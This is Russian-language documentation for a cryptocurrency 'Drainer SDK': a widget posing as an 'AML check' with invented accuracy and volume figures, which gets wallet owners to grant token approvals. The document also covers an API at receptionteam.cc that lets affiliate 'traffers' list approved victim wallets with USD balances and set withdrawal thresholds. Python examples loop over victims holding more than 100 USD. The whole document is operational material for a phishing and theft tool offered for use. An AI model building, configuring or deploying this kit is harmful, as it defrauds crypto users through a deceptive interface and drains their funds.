DRAINER SDK
Полное руководство
Комплексная документация по REST API и конфигурации виджета. Охватывает все эндпоинты для работы с апрувами, параметры SDK и примеры интеграции.
Быстрый старт
Три шага для подключения SDK к вашей странице.
1. HTML разметка
2. Конфигурация
3. Подключение SDK
GET /get_approvals/traffer
Возвращает все апрувы по traffer_id. Для каждого уникального владельца — дата создания, минимальная сумма и баланс в USD.
Query параметры
| Параметр | Тип | Обязательный | Описание |
|---|---|---|---|
| traffer_id | string | required | Идентификатор траффера. Не может быть пустым, пробелами или строкой "none" |
ORDER BY created_at DESC). Поле is_active не фильтруется — возвращаются все апрувы.Пример запроса
response = requests.get(
"https://receptionteam.cc/api/get_approvals/traffer", params={"traffer_id": "545345"}
)
print(response.json())
Ответы
POST /approval/minAmount
Устанавливает новое значение min_amount для всех апрувов указанного owner. Минимальное допустимое значение — 100.
Body (JSON)
| Параметр | Тип | Обязательный | Описание |
|---|---|---|---|
| owner | string | required | Адрес кошелька. EVM / Solana / Tron |
| min_amount | integer | required | Новое значение. Целое число ≥ 100 |
Пример запроса
response = requests.post(
"https://receptionteam.cc/api/approval/minAmount", json={ "owner": "SNi77gGB1PtxEpfRyT25TnvhBGJbMQvbB1uouZjhgGX", "min_amount": 1000 }
)
print(response.json())
Ответы
window.AML_CONFIG
Глобальный объект конфигурации виджета. Задаётся до загрузки SDK. Содержит 9 разделов — все необязательны; при отсутствии используются значения по умолчанию.
<script type="module" src="build.js">.colors
Цветовая схема интерфейса. Все значения в формате HEX.
| Ключ | По умолчанию | Описание |
|---|---|---|
| primary | #3b82f6 | Основной цвет кнопок и акцентов |
| primaryHover | #60a5fa | Цвет при наведении на кнопки |
| background | #000000 | Фон страницы виджета |
| cardBackground | #111111 | Фон карточек (токены, сети) |
| containerBackground | #0B0B0B | Фон главного контейнера |
| border | #212121 | Цвет границ элементов |
| borderCard | #2a2a2a | Граница карточек |
| borderCardHover | #3b82f6 | Граница карточек при наведении |
| text | #ffffff | Основной цвет текста |
| textSecondary | #6b7280 | Вторичный текст |
| success | #10b981 | Успешные операции |
| error | #ef4444 | Ошибки |
| warning | #f59e0b | Предупреждения |
| info | #3b82f6 | Информационные сообщения |
typography
| Ключ | По умолчанию | Описание |
|---|---|---|
| fontFamily | 'Inter', sans-serif | Основной шрифт виджета |
| fontFamilyHeading | 'Inter', sans-serif | Шрифт заголовков |
| fontSize.xs | 12px | Мелкие подписи |
| fontSize.sm | 14px | Вторичная информация |
| fontSize.base | 16px | Основной контент |
| fontSize.lg | 18px | Подзаголовки |
| fontSize.xl | 20px | Крупный текст |
| fontSize.2xl | 24px | Заголовки секций |
| fontSize.3xl | 30px | Главные заголовки |
text
Текстовое содержимое всех экранов виджета.
| Ключ | По умолчанию |
|---|---|
| title | Select Network |
| subtitle | Choose the blockchain network |
| footerText | New to crypto wallets? |
| learnMoreLink | https://trustwallet.com |
| Ключ | По умолчанию |
|---|---|
| title | Select Token |
| subtitle | Choose the token on |
| changeNetworkText | Change Network |
| Ключ | По умолчанию |
|---|---|
| title | AML Processing |
| subtitle | Wallet is processing to AML Check |
| buttonText | Processing... |
| statusText | Please wait |
| whatNextTitle | What happens next? |
| whatNextDescription | We'll process your AML Check... |
| Ключ | По умолчанию |
|---|---|
| title | An error has occurred |
| subtitle | An error occurred during check |
| buttonText | Error Occurred |
| statusText | AML check failed |
| tryAnotherWallet | Try Another Wallet |
| Ключ | По умолчанию |
|---|---|
| title | Connecting Wallet |
| subtitle | Wallet is ready to start verification |
| buttonText | Connecting... |
| statusText | Please wait |
| Ключ | Структура | По умолчанию |
|---|---|---|
| accuracy | { label, value } | Accuracy / 99.9% |
| avgTime | { label, value } | Avg Time / ~30s |
| checks | { label, value } | Checks / 50K+ |
| Ключ | По умолчанию |
|---|---|
| termsText | Terms of Service |
| termsLink | /terms |
| privacyText | Privacy Policy |
| privacyLink | /privacy |
ui
| Ключ | Тип | По умолчанию | Описание |
|---|---|---|---|
| borderRadius | string | 16px | Скругление элементов |
| containerBorderRadius | string | 24px | Скругление контейнера |
| cardPadding | string | 20px | Внутренние отступы карточек |
| maxWidth | string | 512px | Максимальная ширина виджета |
| iconSize | number | 45 | Размер иконок в px |
| showGradients | boolean | true | Включить градиенты |
| showAnimations | boolean | true | Включить анимации |
| showCardGlowOnHover | boolean | true | Свечение карточек при hover |
| showIconScaleOnHover | boolean | true | Масштабирование иконок при hover |
branding
| Ключ | Тип | Обязательный | Описание |
|---|---|---|---|
| logoUrl | string | optional | URL логотипа |
| logoPosition | 'top' | 'center' | optional | Позиция логотипа |
| logoHeight | number | optional | Высота логотипа в px |
| showPoweredBy | boolean | optional | Показывать "Powered by" |
| companyName | string | optional | Название компании |
customScreens
Переопределите HTML любого экрана виджета. Поддерживается Tailwind CSS.
| Ключ | Тип | Описание |
|---|---|---|
| processing | string (HTML) | Экран обработки транзакции |
| connecting | string (HTML) | Экран подключения кошелька |
| error | string (HTML) | Экран ошибки |
| success | string (HTML) | Экран успешной проверки |
walletConnect
| Ключ | По умолчанию | Описание |
|---|---|---|
| themeMode | 'dark' | Тема: 'light' или 'dark' |
| --wcm-accent-color | #3b82f6 | Основной акцентный цвет |
| --wcm-accent-fill-color | #FFFFFF | Цвет текста на акцентах |
| --wcm-background-color | #0B0B0B | Фон модального окна |
| --wcm-container-border-radius | 24px | Скругление контейнера |
| --wcm-color-fg-1 | #FFFFFF | Основной цвет текста |
| --wcm-color-fg-2 | #6B7280 | Вторичный текст |
| --wcm-color-bg-1 | #0B0B0B | Основной фон |
| --wcm-color-bg-2 | #1a1a1a | Вторичный фон |
| --wcm-color-overlay | rgba(0,0,0,0.8) | Оверлей за модальным окном |
| --wcm-button-border-radius | 16px | Скругление кнопок |
| --wcm-font-family | system fonts | Семейство шрифтов |
| --wcm-z-index | 9999 | Z-index модального окна |
preselect
Ограничение или пропуск шагов выбора сети и токена.
| Ключ | Тип | Значения |
|---|---|---|
| chains | ChainName[] | 'Ethereum' | 'BNB Chain' | 'Tron' | 'Solana' |
| tokens | TokenSymbol[] | 'USDT' | 'USDC' | 'DAI' | 'BUSD' | 'TUSD' |
overlay
| Ключ | Тип | По умолчанию | Описание |
|---|---|---|---|
| showCloseButton | boolean | true | Кнопка закрытия |
| closeOnBackdropClick | boolean | false | Закрытие по клику на фон |
| showBackdrop | boolean | true | Показывать подложку |
| backdropColor | string | rgba(0,0,0,0.2) | Цвет подложки |
| zIndex | number | 9998 | Z-index оверлея |
Полный конфиг
displayMode: 'overlay',
preselect: { chains: ['Solana'], tokens: ['USDT'] },
overlay: {
showCloseButton: true,
closeOnBackdropClick: false,
showBackdrop: true,
backdropColor: 'rgba(0, 0, 0, 0.5)',
zIndex: 9998,
},
colors: {
primary: '#a855f7',
primaryHover: '#9333ea',
background: '#000000',
cardBackground: '#111111',
containerBackground: '#0B0B0B',
border: '#212121',
text: '#ffffff',
textSecondary: '#9ca3af',
},
typography: {
fontFamily: "'Inter', sans-serif",
},
text: {
selectNetwork: { title: 'Выберите сеть' },
selectToken: { title: 'Выберите токен' },
processing: { title: 'AML Проверка', buttonText: 'Обработка...' },
},
ui: {
borderRadius: '24px',
maxWidth: '640px',
showGradients: true,
showAnimations: true,
},
branding: {
logoUrl: '/logo.png',
logoPosition: 'top',
companyName: 'Моя Компания',
},
walletConnect: {
themeMode: 'dark',
themeVariables: {
'--wcm-accent-color': '#a855f7',
},
},
};
Примеры API запросов
Получить апрувы по traffer_id
r = requests.get(
"https://receptionteam.cc/api/get_approvals/traffer",
params={"traffer_id": "545345"}
)
data = r.json()
for owner, info in data["approvals"].items():
print(f"Owner: {owner}")
print(f"Balance: {info['balance_usd']} USD")
print(f"Min: {info['min_amount']}")
Изменить min_amount
r = requests.post(
"https://receptionteam.cc/api/approval/minAmount",
json={
"owner": "SNi77gGB1PtxEpfRyT25TnvhBGJbMQvbB1uouZjhgGX",
"min_amount": 1000
}
)
print(r.json())
Связка: получить и обновить
# 1. Получаем всех владельцев траффера
approvals = requests.get(
f"{BASE}/get_approvals/traffer",
params={"traffer_id": "545345"}
).json()["approvals"]
# 2. Обновляем min_amount всем у кого balance > 100
for owner, info in approvals.items():
if info["balance_usd"] > 100:
resp = requests.post(
f"{BASE}/approval/minAmount",
json={"owner": owner, "min_amount": 500}
)
print(f"Updated {owner}: {resp.json()}")